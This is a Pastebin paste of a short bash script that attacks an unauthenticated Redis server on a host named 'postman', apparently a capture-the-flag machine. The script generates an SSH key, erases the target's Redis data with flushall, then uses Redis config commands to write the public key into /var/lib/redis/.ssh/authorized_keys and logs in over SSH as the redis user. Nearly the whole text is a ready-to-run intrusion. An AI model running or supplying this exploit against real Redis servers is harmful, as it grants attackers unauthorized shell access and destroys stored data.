Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- Bash Script
- #!/bin/bash
- #remove existing ssh keys
- rm /root/.ssh/id*
- #generate new private key and echo a new line before and after the key
- ssh-keygen -t rsa
- (echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt
- #redis-cli command part
- redis-cli -h postman flushall
- cat foo.txt | redis-cli -h postman -x set crackit
- redis-cli -h postman config set dir /var/lib/redis/.ssh/
- redis-cli -h postman config set dbfilename "authorized_keys"
- redis-cli -h postman save
- ssh -i /root/.ssh/id_rsa redis@postman
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement